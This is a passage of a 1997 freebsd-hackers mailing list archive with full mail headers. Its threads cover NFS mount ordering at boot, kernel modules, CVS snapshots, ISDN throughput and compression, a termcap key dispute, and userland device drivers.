<199709200619.XAA00534@dog.farm.org>; from Dmitry Kohmanyuk on Fri, Sep 19, 1997 at 11:19:50PM -0700 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, Sep 19, 1997 at 11:19:50PM -0700, Dmitry Kohmanyuk wrote: > In article <19970916105940.15713@lemis.com> you wrote: >> On Thu, Sep 04, 1997 at 11:31:48PM +0100, Brian Somers wrote: >>> This has to be a dumb question, but I can't fathom it. >>> >>> /etc/rc sources /etc/rc.network and then runs network_pass1. >>> Directly afterwards, it runs ``mount -a -t nfs''. >>> >>> However, network_pass3 (invoked much later) starts nfsiod along with >>> the other nfs stuff. > >> You don't need nfsiod for mounting, but you do need to resolve the >> names. If you're running a name server, I don't think it's reasonable >> to expect an /etc/hosts entry for each system you're mounting NFS file >> systems from. Unfortunately, named doesn't get started until >> network_pass2, so this can't work in a name server environment. > > You mean that you expect somebody to run named and have this named > at the _only_ nameserver available and making this machine NFS > client? No, but if he's running that way, he shouldn't have any problems. > OTOH, imagine system which NFS mounts /usr . (named is in /usr ) You're unlikely to run named on what is effectively a diskless workstation. Greg From owner-freebsd-hackers Sat Sep 20 03:51:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA29202 for hackers-outgoing; Sat, 20 Sep 1997 03:51:24 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id DAA29196 for ; Sat, 20 Sep 1997 03:51:18 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id MAA12300; Sat, 20 Sep 1997 12:51:16 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id MAA23261; Sat, 20 Sep 1997 12:37:05 +0200 (MET DST) Message-ID: <19970920123704.MJ07151@uriah.heep.sax.de> Date: Sat, 20 Sep 1997 12:37:04 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: ormonde@trem.cnt.org.br (Rodrigo Ormonde - VOGA) Subject: Re: Loadable kernel modules References: <9709191650.AA15655@trem.cnt.org.br> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <9709191650.AA15655@trem.cnt.org.br>; from Rodrigo Ormonde - VOGA on Sep 19, 1997 14:50:08 -0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Rodrigo Ormonde - VOGA wrote: > I need to write a loadable kernel module to FreeBSD 2.2.2. I have already > worked a lot inside FreeBSD's kernel, but I've never written such thing. > > Can someone point me where I should look for information ? (simple examples > or technical documentation would be very appreciated) What's wrong with /usr/share/examples/lkm? I've even verified recently that they still build. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Sep 20 03:51:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA29222 for hackers-outgoing; Sat, 20 Sep 1997 03:51:35 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id DAA29215 for ; Sat, 20 Sep 1997 03:51:31 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id MAA12313; Sat, 20 Sep 1997 12:51:29 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id MAA28350; Sat, 20 Sep 1997 12:47:15 +0200 (MET DST) Message-ID: <19970920124714.JQ07978@uriah.heep.sax.de> Date: Sat, 20 Sep 1997 12:47:14 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: reichert@numachi.com (Brian Reichert) Subject: Re: Probably an XFree question, but... References: <19970919164234.25786@numachi.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <19970919164234.25786@numachi.com>; from Brian Reichert on Sep 19, 1997 16:42:34 -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Brian Reichert wrote: > In , we see > > _XFUNCPROTOBEGIN > extern char *_Xsetlocale( > #if NeedFunctionPrototypes > int /* category */, > _Xconst char* /* name */ > #endif > ); > _XFUNCPROTOEND > > #define setlocale _Xsetlocale > > yet I cannot find any symbol with the name '_Xsetlocale' in any of > the X libreabries, not are there any further references in any of > X's headers. It will only get into effect if X_LOCALE is defined. X_LOCALE is only defined for platforms that don't have a usable own locale implementation. FreeBSD does. See xc/lib/X11/SetLocale.c for the implementation details (in the X11 tree, of course :). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Sep 20 04:21:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA00445 for hackers-outgoing; Sat, 20 Sep 1997 04:21:56 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA00423 for ; Sat, 20 Sep 1997 04:21:49 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA12449 for hackers@FreeBSD.ORG; Sat, 20 Sep 1997 13:21:47 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id NAA11658; Sat, 20 Sep 1997 13:05:52 +0200 (MET DST) Message-ID: <19970920130551.DB36336@uriah.heep.sax.de> Date: Sat, 20 Sep 1997 13:05:51 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Is there a way to prompt for boot device? References: <199709200219.WAA13122@smoke.marlboro.vt.us> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709200219.WAA13122@smoke.marlboro.vt.us>; from john hood on Sep 19, 1997 22:19:30 -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As john hood wrote: > > I thought the -r or -a options would do it, but that's not quite what I > > expected. Btw., -r does it in some way: it will use the root device the kernel has been configured for (``kernel root on sd8''). > at least in 2.2.2, boot -a works only if you have the kernel > configured with "swap generic", which i think is not generally > recommended, though i can't remember why. For hysterical raisons? What the heck would break if we started shipping GENERIC in 3.0 with `swap generic'? What might break if we allowed -a for other kernels as well? I assume the answer to both questions is just ``nothing''. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Sep 20 04:21:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA00459 for hackers-outgoing; Sat, 20 Sep 1997 04:21:58 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA00430 for ; Sat, 20 Sep 1997 04:21:51 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA12450 for hackers@FreeBSD.ORG; Sat, 20 Sep 1997 13:21:50 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id NAA13604; Sat, 20 Sep 1997 13:08:32 +0200 (MET DST) Message-ID: <19970920130830.UH42545@uriah.heep.sax.de> Date: Sat, 20 Sep 1997 13:08:30 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG (FreeBSD Hackers) Subject: Re: How do I check out a snapshot? References: <19970920124235.58941@lemis.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <19970920124235.58941@lemis.com>; from Greg Lehey on Sep 20, 1997 12:42:35 +0930 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Greg Lehey wrote: > I have the CVS tree here on my system, and I know we've just done a > snap, but I see nothing in the tree to help me determine where, when > or what it is. What do I need to do? ``make release''. SNAPs don't have any particular mark in CVS. If you know the exact date the original SNAP has been done, you can use -D to CVS to checkout exactly this tree for building the release. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Sep 20 04:22:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA00468 for hackers-outgoing; Sat, 20 Sep 1997 04:22:02 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA00442 for ; Sat, 20 Sep 1997 04:21:55 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA12451; Sat, 20 Sep 1997 13:21:53 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id NAA15622; Sat, 20 Sep 1997 13:11:24 +0200 (MET DST) Message-ID: <19970920131122.QS10113@uriah.heep.sax.de> Date: Sat, 20 Sep 1997 13:11:22 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: knollm@lafcol.lafayette.edu (Michael Knoll) Subject: Re: ::Ethernet card access References: <3.0.32.19970920031104.009e9950@lafcol.lafayette.edu> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <3.0.32.19970920031104.009e9950@lafcol.lafayette.edu>; from Michael Knoll on Sep 20, 1997 03:13:16 -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Michael Knoll wrote: > Is there any way to directly ship a packet to an ethernet card? > > What I want is the ablity to to send a raw packet out on the network. > Basically, a berkley packet filter, but rather than getting any packet, > sending packets. Berkeley packet filter, despite of its name. :) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Sep 20 06:47:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA05649 for hackers-outgoing; Sat, 20 Sep 1997 06:47:28 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA05624; Sat, 20 Sep 1997 06:47:16 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id XAA26010; Sat, 20 Sep 1997 23:45:16 +1000 Date: Sat, 20 Sep 1997 23:45:16 +1000 From: Bruce Evans Message-Id: <199709201345.XAA26010@godzilla.zeta.org.au> To: bde@zeta.org.au, grog@lemis.com Subject: Re: Bug in malloc/free Cc: atrens@nortel.ca, freebsd-bugs@FreeBSD.ORG, gram@cdsec.com, hackers@FreeBSD.ORG, julian@whistle.com, mike@smith.net.au, phk@critter.freebsd.dk Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >>> "coredump, right now, no ifs, whens or buts. Thank you." >> >> A new signal, like SIGKILL except it generates cores, would be useful. >> We would have to fix all the assumptions that sigset_t == int to make >> room for another signal number. > >Is that really so important? You can call sigaction from a signal >handler, so you can unmask the signal before calling it. A new signal >for the sake of a couple of lines of library code? Only broken libraries could do that, since if a signal is masked then something must want it masked. Bruce From owner-freebsd-hackers Sat Sep 20 08:17:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA09702 for hackers-outgoing; Sat, 20 Sep 1997 08:17:18 -0700 (PDT) Received: from bmccane.uit.net (bmccane.uit.net [209.83.205.48]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA09663 for ; Sat, 20 Sep 1997 08:15:55 -0700 (PDT) Received: (from root@localhost) by bmccane.uit.net (8.8.7/8.8.5) id KAA17367; Sat, 20 Sep 1997 10:11:00 -0500 (CDT) Date: Sat, 20 Sep 1997 10:10:58 -0500 (CDT) From: Wm Brian McCane To: gjennejohn@frt.dec.com cc: hackers@FreeBSD.ORG Subject: Re: ISDN Modems In-Reply-To: <199709191037.KAA03250@mofo.frt.dec.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 19 Sep 1997, Gary Jennejohn wrote: > > Luigi Rizzo writes: > > Now if ISDN cards were sold in volumes and priced reasonably (i.e. > > as much as an NE2000, since they are actually simpler!) and accessed > > through a dedicated device driver, then things would certainly be > > different. > > > > well, ISDN cards aren't as cheap as the NE2000 clones, I have to admit > that. But then again, the volume is a lot smaller. I can get a Teles > clone here in Germany for about 140 DM, which is ~$75. > > And, with bisdn, the cards _are_ accessed using a dedicated driver. > I can get (depending on the quality of the connection) the maximum > throughput of ~8kB/sec (well, actually ~7.5kB/s with overhead). > > --- > Gary Jennejohn (work) gjennejohn@frt.dec.com > (home) garyj@muc.de > (play) gj@freebsd.org Only 7.5kB/sec? I am now very confused. I get 6kB/s throughput from my 33.6 most of the time. Of course I am usually transferring news/mail so they are highly compressible. Do any of the plug-in cards do LZ compression, or anything similar? brian +-------------------------------------+----------------------------------------+ He rides a cycle of mighty days, and \ Wm Brian and Lori McCane he represents the last great schizm \ McCane Consulting among the gods. Evil though he obviously \ root@bmccane.uit.net is, he is a mighty figure, this father of \ http://bmccane.uit.net/ my spirit, and I respect him as the sons \ http://bmccane.uit.net/~pictures/ of old did the fathers of their bodies. \ http://bmccane.uit.net/~bmccane/ Roger Zelazny - "Lord of Light" \ http://bmccane.uit.net/~bbs/ +---------------------------------------------+--------------------------------+ From owner-freebsd-hackers Sat Sep 20 09:08:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA12378 for hackers-outgoing; Sat, 20 Sep 1997 09:08:43 -0700 (PDT) Received: from mailout00.btx.dtag.de (mailout00.btx.dtag.de [194.25.2.148]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA12372 for ; Sat, 20 Sep 1997 09:08:39 -0700 (PDT) Received: from fwd01.btx.dtag.de [194.25.2.161] by mailout00.btx.dtag.de with smtp id 0xCS57-0003w9-00; Sat, 20 Sep 1997 18:08:29 +0200 Received: (053235370-0001(btxid)@[193.159.67.20]) by fwd01.btx.dtag.de with (S3.1.29.1) id ; Sat, 20 Sep 97 18:08 MET DST Message-Id: Date: Sat, 20 Sep 97 18:08 MET DST To: ache@nagual.pp.ru Cc: hackers@freebsd.org Subject: termcap X-Mailer: T-Online eMail 2.0 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT X-Sender: 053235370-0001@t-online.de (Klaus-Juergen Wolf) From: Yanestra@t-online.de (Klaus-J. Wolf) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= (Andrey A. Chernov) wrote: > On Fri, 19 Sep 1997, Yanestra wrote: > > > It > > appears that someone had introduced a new token to termcap, "@7". This > token is > > documented somewhere in the NCurses docs, which is in my personal opinion > > totally irrelevant. The old standard says that "@7" should be named "kH", > and I > > see no reason why this should be changed, for the sake of many programs > which > > rely on it. > kH is not acceptable because it means different key: "last line" > which is not equal to "end" key. It is a very very old discussion how the "End" key on several terminals should behave. Some treat it as "go to EOT", some as "go to EOL". Since there was no alternative (no "@7" key), most programs treated it ("kH") as they liked. > termcap database now officially maintained by ncurses people, namely Eric > S. Raymond, and FreeBSD tries to adopt those entries when possible. Officially? You make me laugh. Official to whom? It is the wrong date to make any fixes to a thing that is as old as Unix itself. If someone desires to make funny new inventions and declare them as standard, whatever that means, he should be careful, 'cause it could happen, that he annoys people with it, when their programs start to fail. In this case, he has annoyed me, and I will not accept anything Eric S. Raymond starts to damage my system with. > Old curses/termcap project not maintained anymore in favor of ncurses > which is default curses for BSD now, it is official position of old > curses/termcap maintainer. Funny thing. NCurses relies on terminfo, not on termcap. Someone seems to have crippled NCurses a little to make it termcap-conforming. Ciao jay From owner-freebsd-hackers Sat Sep 20 09:44:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA14452 for hackers-outgoing; Sat, 20 Sep 1997 09:44:22 -0700 (PDT) Received: from onizuka.tb.9715.org (ETFQYeLhp7ElvkPMac3uztJTslet4McH@onizuka.tb.9715.org [194.97.84.67]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA14447 for ; Sat, 20 Sep 1997 09:44:18 -0700 (PDT) Received: by onizuka.tb.9715.org via sendmail with stdio id for hackers@FreeBSD.ORG; Sat, 20 Sep 1997 18:42:28 +0200 (CEST) Message-Id: From: torstenb@onizuka.tb.9715.org (Torsten Blum) Subject: Re: ISDN Modems In-Reply-To: from Wm Brian McCane at "Sep 20, 97 10:10:58 am" To: root@bmccane.uit.net (Wm Brian McCane) Date: Sat, 20 Sep 1997 18:42:28 +0200 (CEST) Cc: gjennejohn@frt.dec.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Wm Brian McCane wrote: > Only 7.5kB/sec? I am now very confused. I get 6kB/s throughput from my > 33.6 most of the time. Of course I am usually transferring news/mail so they > are highly compressible. 7.5kB/sec are without compression of course. > Do any of the plug-in cards do LZ compression, or anything similar? Uh, well, compression and ISDN is a different story. V.42bis for example need error correction. In the early days of ISDN here in Germany, some Routers used V.42bis together with LAP-B framing, but IP-in-HDLC framing was more popular, but it did not support V.42bis. PPP-over-ISDN is the standard for transmitting IP over ISDN links. With CCP you can even support more than one compression algorithm. The most common compression alg. used for PPP and ISDN is STAC. Most Routers and Accesss-Server support it. Unfortunately STAC is patented and you have to pay lots of money for a licence. There are other compression algorithms for which even a rfc describes the operation with PPP, but they're not widespread. Ciscos are the only one that support Predictor1 as far as I know. In discussions with people from other manufacturers the answer is always the same: There's no or not enough demand for it. -tb From owner-freebsd-hackers Sat Sep 20 09:48:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA14699 for hackers-outgoing; Sat, 20 Sep 1997 09:48:19 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA14691 for ; Sat, 20 Sep 1997 09:48:12 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id JAA10827; Sat, 20 Sep 1997 09:48:02 -0700 (PDT) Message-Id: <199709201648.JAA10827@rah.star-gate.com> To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: hackers@FreeBSD.ORG (FreeBSD Hackers) Subject: Re: How do I check out a snapshot? In-reply-to: Your message of "Sat, 20 Sep 1997 13:08:30 +0200." <19970920130830.UH42545@uriah.heep.sax.de> Date: Sat, 20 Sep 1997 09:48:02 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On a different topic , how can I specify a release date with cvsup? src-etc date=97.09.10.12.00.00 release=cvs host=cvsup2.freebsd.org hostbase=/ho me base=/usr prefix=/usr delete old use-rel-suffix tag=. This is how I am currently specifying the date however I think that cvsup pull in all the latest changes Tnks, Amancio >From The Desk Of J Wunsch : > As Greg Lehey wrote: > > > I have the CVS tree here on my system, and I know we've just done a > > snap, but I see nothing in the tree to help me determine where, when > > or what it is. What do I need to do? > > ``make release''. SNAPs don't have any particular mark in CVS. If > you know the exact date the original SNAP has been done, you can use > -D to CVS to checkout exactly this tree for building the release. > > -- > cheers, J"org > > joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE > Never trust an operating system you don't have sources for. ;-) > From owner-freebsd-hackers Sat Sep 20 10:02:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA15481 for hackers-outgoing; Sat, 20 Sep 1997 10:02:17 -0700 (PDT) Received: from casparc.ppp.net (mail.ppp.net [194.64.12.35]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA15468 for ; Sat, 20 Sep 1997 10:02:09 -0700 (PDT) Received: from ernie by casparc.ppp.net with uucp (Smail3.1.28.1 #1) id m0xCSuw-000oHXC; Sat, 20 Sep 97 19:02 MET DST Received: from bert.kts.org(really [194.55.156.2]) by ernie.kts.org via sendmail with smtp id for ; Sat, 20 Sep 1997 18:29:43 +0200 (MET DST) (Smail-3.2.0.91 1997-Jan-14 #2 built 1997-Feb-8) Received: by bert.kts.org via sendmail with stdio id for freebsd-hackers@freebsd.org; Sat, 20 Sep 1997 18:21:23 +0200 (CEST) (Smail-3.2.0.94 1997-Apr-22 #7 built 1997-Jul-4) Message-Id: From: hm@kts.org (Hellmuth Michaelis) Subject: Re: ISDN Modems In-Reply-To: from Wm Brian McCane at "Sep 20, 97 10:10:58 am" To: freebsd-hackers@freebsd.org Date: Sat, 20 Sep 1997 18:21:23 +0200 (CEST) Organization: Kitchen Table Systems Reply-To: hm@kts.org X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Wm Brian McCane wrote: > > I can get (depending on the quality of the connection) the maximum > > throughput of ~8kB/sec (well, actually ~7.5kB/s with overhead). [...] > Only 7.5kB/sec? I am now very confused. An ISDN B-channel has a maximum transfer rate of exactly 8 kB/sec. Using ftp over such a line ends up with something close to 7.5 kB/sec uncompressed. > Do any of the plug-in cards do LZ compression, or anything similar? Some active ISDN cards do compression, for some time it seemed V.42 were the standard the manufacturers would agree upon, but they didn't. (if i recall it correctly, V.42 compresion is supported under V.120, but i'm not shure). There is no standard interoperable way of doing compression on the B-channel, many proprietary solutions exist; the only standard in this environment is doing PPP over ISDN which gives you the usual (some also proprietary, i.e. STAC compression) compression schemes. hellmuth -- Hellmuth Michaelis hm@kts.org Hamburg, Europe "Those who can, do. Those who can't, talk. And those who can't talk, talk about talking." (B. Shaw) From owner-freebsd-hackers Sat Sep 20 10:15:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA16311 for hackers-outgoing; Sat, 20 Sep 1997 10:15:49 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA16303 for ; Sat, 20 Sep 1997 10:15:40 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA15362 for hackers@FreeBSD.ORG; Sat, 20 Sep 1997 19:15:37 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id SAA04270; Sat, 20 Sep 1997 18:56:23 +0200 (MET DST) Message-ID: <19970920185623.YM44251@uriah.heep.sax.de> Date: Sat, 20 Sep 1997 18:56:23 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: ISDN Modems References: <199709191037.KAA03250@mofo.frt.dec.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Wm Brian McCane on Sep 20, 1997 10:10:58 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Wm Brian McCane wrote: > Only 7.5kB/sec? I am now very confused. I get 6kB/s throughput > from my 33.6 most of the time. Of course I am usually transferring > news/mail so they are highly compressible. Do any of the plug-in > cards do LZ compression, or anything similar? You are comparing apples and oranges. A 33.6 kbps modem can at best transfer 4.2 KB/s raw data (a little less due to the required protocol overhead). The remainder is done by on-the-fly compression. Use the data rate when getting a .tar.gz file as a base for your comparisions. ISDN itself doesn't provide for on-the-fly compression, so the raw data rate is close to 8 KB/s. The 7.5 KB/s is the common data rate for IP traffic. PPP provides for potential link-level compression. One of the options is ``BSD compression'' which should be close to the typical modem compression ratios. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Sep 20 10:21:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA16638 for hackers-outgoing; Sat, 20 Sep 1997 10:21:14 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA16625 for ; Sat, 20 Sep 1997 10:21:08 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA15438 for freebsd-hackers@freebsd.org; Sat, 20 Sep 1997 19:21:07 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id TAA00391; Sat, 20 Sep 1997 19:19:58 +0200 (MET DST) Message-ID: <19970920191957.VJ14474@uriah.heep.sax.de> Date: Sat, 20 Sep 1997 19:19:57 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freebsd.org (FreeBSD hackers) Subject: free inode //612 had 208 blocks X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Sep 5 18:10:11 sax /kernel: free inode //612 had 208 blocks Is this something to worry about? (Machine running FreeBSD 2.1.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Sep 20 10:32:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA17355 for hackers-outgoing; Sat, 20 Sep 1997 10:32:54 -0700 (PDT) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA17349 for ; Sat, 20 Sep 1997 10:32:50 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id LAA27506; Sat, 20 Sep 1997 11:32:18 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id LAA24068; Sat, 20 Sep 1997 11:32:17 -0600 (MDT) Date: Sat, 20 Sep 1997 11:32:17 -0600 (MDT) Message-Id: <199709201732.LAA24068@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Jamil J. Weatherbee" Cc: freebsd-hackers@freebsd.org Subject: Re: UserLand Device Driver Thingys In-Reply-To: References: X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Why is it so impossible to have an arbitruary interrupt passed to a > userland process, very much like a signal? It's not impossible, it's too darn slow crossing so many boundaries? And, you *never* want an userland program to call cli. > It would be nice to be able to > write device drivers that could open sockets and make data available on > the network in an arbitruary way. See the 'tun' device, it does this for you already. Nate From owner-freebsd-hackers Sat Sep 20 10:38:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA17600 for hackers-outgoing; Sat, 20 Sep 1997 10:38:09 -0700 